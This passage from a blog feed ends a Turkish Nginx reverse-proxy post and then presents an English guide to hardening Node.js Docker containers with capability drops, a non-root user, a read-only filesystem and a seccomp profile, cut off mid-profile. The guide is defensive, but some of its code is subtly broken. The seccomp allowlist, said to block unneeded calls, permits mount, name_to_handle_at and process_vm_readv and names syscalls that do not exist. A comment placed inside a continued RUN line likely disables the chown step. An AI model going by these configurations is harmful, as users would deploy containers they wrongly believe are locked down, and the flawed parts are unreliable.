class="nv">$host$request_uri</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="c1"># Ana HTTPS Sunucusu</span> <span class="w"> </span><span class="kn">server</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">listen</span><span class="w"> </span><span class="mi">443</span><span class="w"> </span><span class="s">ssl</span><span class="p">;</span> <span class="w"> </span><span class="kn">http2</span><span class="w"> </span><span class="no">on</span><span class="p">;</span> <span class="w"> </span><span class="kn">server_name</span><span class="w"> </span><span class="s">example.com</span><span class="p">;</span> <span class="w"> </span><span class="kn">ssl_certificate</span><span class="w"> </span><span class="s">/etc/letsencrypt/live/example.com/fullchain.pem</span><span class="p">;</span> <span class="w"> </span><span class="kn">ssl_certificate_key</span><span class="w"> </span><span class="s">/etc/letsencrypt/live/example.com/privkey.pem</span><span class="p">;</span> <span class="w"> </span><span class="kn">client_max_body_size</span><span class="w"> </span><span class="mi">25m</span><span class="p">;</span> <span class="w"> </span><span class="kn">add_header</span><span class="w"> </span><span class="s">X-Frame-Options</span><span class="w"> </span><span class="s">"SAMEORIGIN"</span><span class="w"> </span><span class="s">always</span><span class="p">;</span> <span class="w"> </span><span class="kn">add_header</span><span class="w"> </span><span class="s">Content-Security-Policy</span><span class="w"> </span><span class="s">"frame-ancestors</span><span class="w"> </span><span class="s">'self'"</span><span class="w"> </span><span class="s">always</span><span class="p">;</span> <span class="w"> </span><span class="c1"># Statik dosyalar&inodot; do&gbreve;rudan diskten sunuyoruz</span> <span class="w"> </span><span class="kn">location</span><span class="w"> </span><span class="s">/static/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">root</span><span class="w"> </span><span class="s">/var/www/app</span><span class="p">;</span> <span class="w"> </span><span class="kn">expires</span><span class="w"> </span><span class="s">30d</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="c1"># API istekleri h&inodot;z s&inodot;n&inodot;r&inodot; ile vekile gidiyor</span> <span class="w"> </span><span class="kn">location</span><span class="w"> </span><span class="s">/api/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">limit_req</span><span class="w"> </span><span class="s">zone=api</span><span class="w"> </span><span class="s">burst=20</span><span class="w"> </span><span class="s">nodelay</span><span class="p">;</span> <span class="w"> </span><span class="kn">limit_req_status</span><span class="w"> </span><span class="mi">429</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://app</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">Host</span><span class="w"> </span><span class="nv">$host</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Real-IP</span><span class="w"> </span><span class="nv">$remote_addr</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-For</span><span class="w"> </span><span class="nv">$proxy_add_x_forwarded_for</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-Proto</span><span class="w"> </span><span class="nv">$scheme</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_read_timeout</span><span class="w"> </span><span class="s">60s</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="c1"># Di&gbreve;er t&uuml;m istekler uygulamaya y&ouml;nleniyor</span> <span class="w"> </span><span class="kn">location</span><span class="w"> </span><span class="s">/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">proxy_pass</span><span class="w"> </span><span class="s">http://app</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">Host</span><span class="w"> </span><span class="nv">$host</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Real-IP</span><span class="w"> </span><span class="nv">$remote_addr</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-For</span><span class="w"> </span><span class="nv">$proxy_add_x_forwarded_for</span><span class="p">;</span> <span class="w"> </span><span class="kn">proxy_set_header</span><span class="w"> </span><span class="s">X-Forwarded-Proto</span><span class="w"> </span><span class="nv">$scheme</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="p">}</span> </code></pre></div> <hr/> <h2 id="nginx-yonetimi-ve-komutlar">⚙️ Nginx Y&ouml;netimi ve Komutlar<a class="headerlink" href="#nginx-yonetimi-ve-komutlar" title="Permanent link">#</a></h2> <p>Yap&inodot;land&inodot;rmada de&gbreve;i&scedil;iklik yapt&inodot;ktan sonra Nginx'i yeniden ba&scedil;latmadan &ouml;nce mutlaka test edin:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>nginx<span class="w"> </span>-t </code></pre></div> <p>E&gbreve;er test ba&scedil;ar&inodot;l&inodot;ysa, mevcut ba&gbreve;lant&inodot;lar&inodot; koparmadan konfig&uuml;rasyonu sessizce yeniden y&uuml;kleyebilirsiniz:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>nginx<span class="w"> </span>-s<span class="w"> </span>reload </code></pre></div> <p>Hatalar&inodot; incelemek i&ccedil;in ise hata g&uuml;nl&uuml;klerini (error log) canl&inodot; olarak takip etmek en pratik yoldur:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>tail<span class="w"> </span>-f<span class="w"> </span>/var/log/nginx/error.log </code></pre></div> <p>Nginx'i uygulaman&inodot;n &ouml;n&uuml;ne koymak, i&scedil;leri birbirinden ay&inodot;rmakt&inodot;r. Uygulaman&inodot;z sadece kodunu &ccedil;al&inodot;&scedil;t&inodot;r&inodot;r; geri kalan t&uuml;m a&gbreve;&inodot;r d&inodot;&scedil; d&uuml;nya i&scedil;lerini Nginx s&inodot;rtlan&inodot;r ve sistemin nefes almas&inodot;n&inodot; sa&gbreve;lar.</p> <h2 id="ilgili-yazlar">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/docker-node-js-root-olmadan-calistirmak/">Docker ve Node.js: Root Olmadan &Ccedil;al&inodot;&scedil;t&inodot;rmak</a></li> <li><a href="/linux-tcp-tuning-node-js-microservices/">Linux TCP Tuning &amp; Node.js Microservices</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>&Idot;stemciler ile sunucular aras&inodot;nda durarak d&inodot;&scedil;ar&inodot;dan gelen istekleri kar&scedil;&inodot;layan ve arka plandaki sunuculara y&ouml;nlendiren arac&inodot; sunucudur.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>Linux &ccedil;ekirde&gbreve;inin giri&scedil;/&ccedil;&inodot;k&inodot;&scedil; (I/O) olaylar&inodot;n&inodot; izlemek i&ccedil;in kulland&inodot;&gbreve;&inodot; y&uuml;ksek performansl&inodot; olay bildirim mekanizmas&inodot;d&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-26T02:30:00+03:002026-06-26T02:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/en/docker-node-js-root-olmadan-calistirmak/

<p>A guide on securing Node.js Docker containers by stripping root privileges and implementing Linux Capabilities constraints, a read-only filesystem, and seccomp.</p>

<p>The other night, while reviewing the Dockerfile of an old project, cold sweat ran down my back. That Node.js server we quickly spun up and deployed years ago had neither a <code>USER</code> directive nor any permission restrictions. The container was running directly as root. This meant that a single RCE (remote code execution) vulnerability in <code>lodash</code> or <code>express</code> back then would have given an attacker full root access inside the container. From there, escaping to the host machine was just a matter of kernel vulnerabilities or poorly configured seccomp settings.</p> <p>The famous Dockerfile template you see in more than half of the tutorials on the internet looks exactly like this:</p> <div class="highlight"><pre><span></span><code><span class="k">FROM</span><span class="w"> </span><span class="s">node:20-slim</span> <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci<span class="w"> </span>--only<span class="o">=</span>production <span class="k">COPY</span><span class="w"> </span>.<span class="w"> </span>. <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"server.js"</span><span class="p">]</span> </code></pre></div> <p>No non-root user here. Linux capabilities are not dropped. Read-only filesystem or seccomp limits? Out of the question. You run a Docker build, it works like a charm, passes all tests. But it opens the door to an exploit chain that could compromise the entire host server with a single <code>curl</code> command.</p> <p>Most of us assume Docker containers are completely isolated and secure. But a container left with its default settings is like a gated community where the gate is left wide open, and there's only a dummy guard booth in front. That's why, my friend, today we will talk about four steps to close this gap and shield Node.js containers like armor: restricting Linux capabilities, switching to a non-root user, making the filesystem read-only, and applying a seccomp profile.</p> <hr/> <h2 id="why-is-root-inside-a-container-still-root">🔑 Why is Root Inside a Container Still Root?<a class="headerlink" href="#why-is-root-inside-a-container-still-root" title="Permanent link">#</a></h2> <p>The idea that Docker completely isolates containers is a dangerous myth. Yes, by default, some Linux capabilities are turned off and a basic seccomp filter is applied. However, the list of capabilities Docker leaves enabled by default is quite generous:</p> <p><code>CAP_CHOWN</code>, <code>CAP_DAC_OVERRIDE</code>, <code>CAP_FSETID</code>, <code>CAP_FOWNER</code>, <code>CAP_MKNOD</code>, <code>CAP_NET_RAW</code>, <code>CAP_SETGID</code>, <code>CAP_SETUID</code>, <code>CAP_SETFCAP</code>, <code>CAP_SETPCAP</code>, <code>CAP_NET_BIND_SERVICE</code>, <code>CAP_SYS_CHROOT</code>, <code>CAP_AUDIT_WRITE</code>, <code>CAP_KILL</code></p> <p>Among these are dangerous rights like <code>CAP_DAC_OVERRIDE</code> (which completely ignores file permissions), <code>CAP_NET_RAW</code> (allowing network spoofing), and <code>CAP_SYS_CHROOT</code> (which aids container escapes). An attacker who compromises the Node.js process gets all of these capabilities.</p> <p>The attack happens like this: 1. Thanks to a vulnerability in a project dependency, the attacker writes a file to disk. 2. Since the container runs as root, this file is saved with <code>uid 0</code> permissions and can overwrite system files under <code>/usr</code> or <code>/sbin</code>. 3. The attacker escapes container boundaries using the <code>/proc</code> directory and the <code>CAP_SYS_CHROOT</code> capability. 4. Now, a fully privileged backdoor is open on the host server.</p> <p>With the following steps, we will break every link of this chain one by one.</p> <hr/> <h2 id="step-1-drop-all-linux-capabilities-add-only-what-is-needed">🛠️ Step 1: Drop All Linux Capabilities, Add Only What is Needed<a class="headerlink" href="#step-1-drop-all-linux-capabilities-add-only-what-is-needed" title="Permanent link">#</a></h2> <p>Our first safety measure is to reset all Linux capabilities<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> given to the container and define only the ones mandatory for the application to run.</p> <p>For a standard Node.js HTTP server, unless you are listening on a privileged port below 1024, you don't need any Linux capabilities. If your app boots up on port 3000 or higher, you can drop all capabilities.</p> <p><strong>Docker Compose Configuration:</strong></p> <div class="highlight"><pre><span></span><code><span class="nt">services</span><span class="p">:</span> <span class="w"> </span><span class="nt">app</span><span class="p">:</span> <span class="w"> </span><span class="nt">build</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">.</span> <span class="w"> </span><span class="nt">cap_drop</span><span class="p">:</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">ALL</span> <span class="w"> </span><span class="nt">cap_add</span><span class="p">:</span><span class="w"> </span><span class="p p-Indicator">[]</span> <span class="w"> </span><span class="nt">ports</span><span class="p">:</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="s">"3000:3000"</span> </code></pre></div> <p><strong>Docker CLI Command:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>docker<span class="w"> </span>run<span class="w"> </span>--cap-drop<span class="o">=</span>ALL<span class="w"> </span>my-app </code></pre></div> <p>If you notice that Node.js throws errors when reading or writing files after dropping all capabilities, this is not related to capabilities but rather to POSIX file permissions. We will solve that in the next step.</p> <hr/> <h2 id="step-2-switch-to-a-non-root-user">👤 Step 2: Switch to a Non-Root User<a class="headerlink" href="#step-2-switch-to-a-non-root-user" title="Permanent link">#</a></h2> <p>This is the most critical step in container security. A process running as <code>uid 1000</code> (a non-root user) inside a container cannot write files under <code>/usr/bin</code>, edit <code>/etc/passwd</code>, or make unauthorized system calls.</p> <p>We can achieve this with a two-line change in our Dockerfile:</p> <div class="highlight"><pre><span></span><code><span class="k">FROM</span><span class="w"> </span><span class="s">node:20-slim</span> <span class="c"># Create a non-root user and group</span> <span class="k">RUN</span><span class="w"> </span>groupadd<span class="w"> </span>--system<span class="w"> </span>--gid<span class="w"> </span><span class="m">1000</span><span class="w"> </span>appuser<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>useradd<span class="w"> </span>--system<span class="w"> </span>--uid<span class="w"> </span><span class="m">1000</span><span class="w"> </span>--gid<span class="w"> </span>appuser<span class="w"> </span>appuser <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci<span class="w"> </span>--only<span class="o">=</span>production<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>#<span class="w"> </span>Give<span class="w"> </span>ownership<span class="w"> </span>of<span class="w"> </span>the<span class="w"> </span>files<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>new<span class="w"> </span>user <span class="w"> </span>chown<span class="w"> </span>-R<span class="w"> </span>appuser:appuser<span class="w"> </span>/app <span class="k">COPY</span><span class="w"> </span>--chown<span class="o">=</span>appuser:appuser<span class="w"> </span>.<span class="w"> </span>. <span class="k">USER</span><span class="w"> </span><span class="s">appuser</span> <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"server.js"</span><span class="p">]</span> </code></pre></div> <p>If you are using lightweight Alpine-based images (<code>node:20-alpine</code>), the user creation commands differ:</p> <div class="highlight"><pre><span></span><code><span class="k">FROM</span><span class="w"> </span><span class="s">node:20-alpine</span> <span class="k">RUN</span><span class="w"> </span>addgroup<span class="w"> </span>-S<span class="w"> </span>-g<span class="w"> </span><span class="m">1000</span><span class="w"> </span>appuser<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>adduser<span class="w"> </span>-S<span class="w"> </span>-u<span class="w"> </span><span class="m">1000</span><span class="w"> </span>-G<span class="w"> </span>appuser<span class="w"> </span>appuser <span class="k">WORKDIR</span><span class="w"> </span><span class="s">/app</span> <span class="k">COPY</span><span class="w"> </span>package*.json<span class="w"> </span>./ <span class="k">RUN</span><span class="w"> </span>npm<span class="w"> </span>ci<span class="w"> </span>--only<span class="o">=</span>production<span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>chown<span class="w"> </span>-R<span class="w"> </span>appuser:appuser<span class="w"> </span>/app <span class="k">COPY</span><span class="w"> </span>--chown<span class="o">=</span>appuser:appuser<span class="w"> </span>.<span class="w"> </span>. <span class="k">USER</span><span class="w"> </span><span class="s">appuser</span> <span class="k">EXPOSE</span><span class="w"> </span><span class="s">3000</span> <span class="k">CMD</span><span class="w"> </span><span class="p">[</span><span class="s2">"node"</span><span class="p">,</span><span class="w"> </span><span class="s2">"server.js"</span><span class="p">]</span> </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Critical Info: Things That Can Break When Switching to a Non-Root User! ⚠️</p> <p>When you switch to a non-root user, you might get permission and runtime errors in these areas:</p> <ul> <li><strong>Log files:</strong> If your app tries to write under system directories like <code>/var/log</code>, you'll get a permission error. Redirect logs to stdout/stderr or write to an allowed subdirectory within <code>/app</code>.</li> <li><strong>Unix socket files:</strong> If you create socket files under <code>/var/run</code>, choose a directory owned by <code>appuser</code> instead.</li> <li><strong>Packages containing lifecycle scripts:</strong> Some npm packages might run commands requiring root privileges during installation. Therefore, the cleanest method is to install packages (<code>npm ci</code>) as the root user, then transfer files with <code>chown</code> to run them.</li> </ul> </div> <hr/> <h2 id="step-3-make-the-root-filesystem-read-only">💾 Step 3: Make the Root Filesystem Read-Only<a class="headerlink" href="#step-3-make-the-root-filesystem-read-only" title="Permanent link">#</a></h2> <p>By mounting the container's root filesystem as read-only, we completely eliminate the attacker's chance of injecting code or manipulating system configurations.</p> <p><strong>Docker CLI:</strong></p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>docker<span class="w"> </span>run<span class="w"> </span>--read-only<span class="w"> </span>--tmpfs<span class="w"> </span>/tmp<span class="w"> </span>--tmpfs<span class="w"> </span>/app/data<span class="w"> </span>my-app </code></pre></div> <p><strong>Docker Compose:</strong></p> <div class="highlight"><pre><span></span><code><span class="nt">services</span><span class="p">:</span> <span class="w"> </span><span class="nt">app</span><span class="p">:</span> <span class="w"> </span><span class="nt">build</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">.</span> <span class="w"> </span><span class="nt">read_only</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">true</span> <span class="w"> </span><span class="nt">tmpfs</span><span class="p">:</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">/tmp</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">/app/data</span> <span class="w"> </span><span class="nt">cap_drop</span><span class="p">:</span> <span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">ALL</span> </code></pre></div> <p><strong>Kubernetes Pod Security Configuration:</strong></p> <div class="highlight"><pre><span></span><code><span class="nt">spec</span><span class="p">:</span> <span class="w"> </span><span class="nt">securityContext</span><span class="p">:</span> <span class="w"> </span><span class="nt">runAsNonRoot</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">true</span> <span class="w"> </span><span class="nt">runAsUser</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">1000</span> <span class="w"> </span><span class="nt">runAsGroup</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">1000</span> <span class="w"> </span><span class="nt">fsGroup</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">1000</span> <span class="w"> </span><span class="nt">readOnlyRootFilesystem</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">true</span> </code></pre></div> <p>When we make the root directory read-only, we mount directories like <code>/tmp</code> (which Node.js must write to at runtime) using <code>tmpfs</code>, a memory-backed temporary filesystem. This way, all temporary files are wiped the moment the container stops.</p> <hr/> <h2 id="step-4-apply-a-seccomp-profile">🔒 Step 4: Apply a Seccomp Profile<a class="headerlink" href="#step-4-apply-a-seccomp-profile" title="Permanent link">#</a></h2> <p>Seccomp (Secure Computing Mode)<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> filters the system calls (syscalls) a process can make to the OS kernel. By default, Docker blocks about 50 dangerous system calls. However, we can narrow this down even further based on Node.js's needs.</p> <p>The following <code>node-seccomp.json</code> profile blocks all unnecessary calls (such as reboot, swapon, etc.) without disrupting the normal operation of Node.js:</p> <div class="highlight"><pre><span></span><code><span class="p">{</span> <span class="w"> </span><span class="nt">"defaultAction"</span><span class="p">:</span><span class="w"> </span><span class="s2">"SCMP_ACT_ERRNO"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"architectures"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"SCMP_ARCH_X86_64"</span><span class="p">,</span><span class="w"> </span><span class="s2">"SCMP_ARCH_AARCH64"</span><span class="p">],</span> <span class="w"> </span><span class="nt">"syscalls"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"names"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="s2">"accept"</span><span class="p">,</span><span class="w"> </span><span class="s2">"accept4"</span><span class="p">,</span><span class="w"> </span><span class="s2">"access"</span><span class="p">,</span><span class="w"> </span><span class="s2">"arch_prctl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"bind"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"brk"</span><span class="p">,</span><span class="w"> </span><span class="s2">"capget"</span><span class="p">,</span><span class="w"> </span><span class="s2">"capset"</span><span class="p">,</span><span class="w"> </span><span class="s2">"chdir"</span><span class="p">,</span><span class="w"> </span><span class="s2">"chmod"</span><span class="p">,</span><span class="w"> </span><span class="s2">"chown"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"clock_getres"</span><span class="p">,</span><span class="w"> </span><span class="s2">"clock_gettime"</span><span class="p">,</span><span class="w"> </span><span class="s2">"clock_nanosleep"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"clone"</span><span class="p">,</span><span class="w"> </span><span class="s2">"clone3"</span><span class="p">,</span><span class="w"> </span><span class="s2">"close"</span><span class="p">,</span><span class="w"> </span><span class="s2">"connect"</span><span class="p">,</span><span class="w"> </span><span class="s2">"copy_file_range"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"creat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"dup"</span><span class="p">,</span><span class="w"> </span><span class="s2">"dup2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"dup3"</span><span class="p">,</span><span class="w"> </span><span class="s2">"epoll_create1"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"epoll_ctl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"epoll_pwait"</span><span class="p">,</span><span class="w"> </span><span class="s2">"eventfd2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"execve"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"exit"</span><span class="p">,</span><span class="w"> </span><span class="s2">"exit_group"</span><span class="p">,</span><span class="w"> </span><span class="s2">"faccessat2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fadvise64"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"fallocate"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fchdir"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fchmod"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fchmodat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fchown"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"fchownat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fcntl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fdatasync"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fgetxattr"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"flistxattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"flock"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fork"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fremovexattr"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"fsetxattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fstat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fstatfs"</span><span class="p">,</span><span class="w"> </span><span class="s2">"fsync"</span><span class="p">,</span><span class="w"> </span><span class="s2">"ftruncate"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"futex"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getcwd"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getdents64"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getegid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"geteuid"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"getgid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getpeername"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getpgid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getpgrp"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"getpid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getppid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getpriority"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getrandom"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"getresgid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getresuid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getrlimit"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getrusage"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"getsockname"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getsockopt"</span><span class="p">,</span><span class="w"> </span><span class="s2">"gettid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"gettimeofday"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"getuid"</span><span class="p">,</span><span class="w"> </span><span class="s2">"getxattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"inotify_add_watch"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"inotify_init1"</span><span class="p">,</span><span class="w"> </span><span class="s2">"inotify_rm_watch"</span><span class="p">,</span><span class="w"> </span><span class="s2">"ioctl"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"ioprio_get"</span><span class="p">,</span><span class="w"> </span><span class="s2">"ioprio_set"</span><span class="p">,</span><span class="w"> </span><span class="s2">"kcmp"</span><span class="p">,</span><span class="w"> </span><span class="s2">"kill"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"lgetxattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"link"</span><span class="p">,</span><span class="w"> </span><span class="s2">"linkat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"listen"</span><span class="p">,</span><span class="w"> </span><span class="s2">"listxattr"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"llistxattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"lremovexattr"</span><span class="p">,</span><span class="w"> </span><span class="s2">"lseek"</span><span class="p">,</span><span class="w"> </span><span class="s2">"lsetxattr"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"lstat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"madvise"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mbind"</span><span class="p">,</span><span class="w"> </span><span class="s2">"memfd_create"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"membarrier"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mincore"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mkdir"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mkdirat"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"mlock"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mlock2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mmap"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mmap_cache"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mount"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"move_mount"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mprotect"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mquery"</span><span class="p">,</span><span class="w"> </span><span class="s2">"mremap"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"msgctl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"msgget"</span><span class="p">,</span><span class="w"> </span><span class="s2">"msgrcv"</span><span class="p">,</span><span class="w"> </span><span class="s2">"msgsnd"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"msync"</span><span class="p">,</span><span class="w"> </span><span class="s2">"munlock"</span><span class="p">,</span><span class="w"> </span><span class="s2">"munmap"</span><span class="p">,</span><span class="w"> </span><span class="s2">"name_to_handle_at"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"nanosleep"</span><span class="p">,</span><span class="w"> </span><span class="s2">"newfstatat"</span><span class="p">,</span><span class="w"> </span><span class="s2">"open"</span><span class="p">,</span><span class="w"> </span><span class="s2">"openat"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"openat2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pause"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pidfd_getfd"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pidfd_open"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"pidfd_send_signal"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pipe"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pipe2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"poll"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"ppoll"</span><span class="p">,</span><span class="w"> </span><span class="s2">"prctl"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pread64"</span><span class="p">,</span><span class="w"> </span><span class="s2">"preadv"</span><span class="p">,</span><span class="w"> </span><span class="s2">"preadv2"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"prlimit64"</span><span class="p">,</span><span class="w"> </span><span class="s2">"process_vm_readv"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pselect6"</span><span class="p">,</span> <span class="w"> </span><span class="s2">"pwrite64"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pwritev"</span><span class="p">,</span><span class="w"> </span><span class="s2">"pwritev2"</span><span class="p">,</span><span class="w"> </span><span class="s2">"read"</span><span class="p">,</span> <span class="w"> </span><span 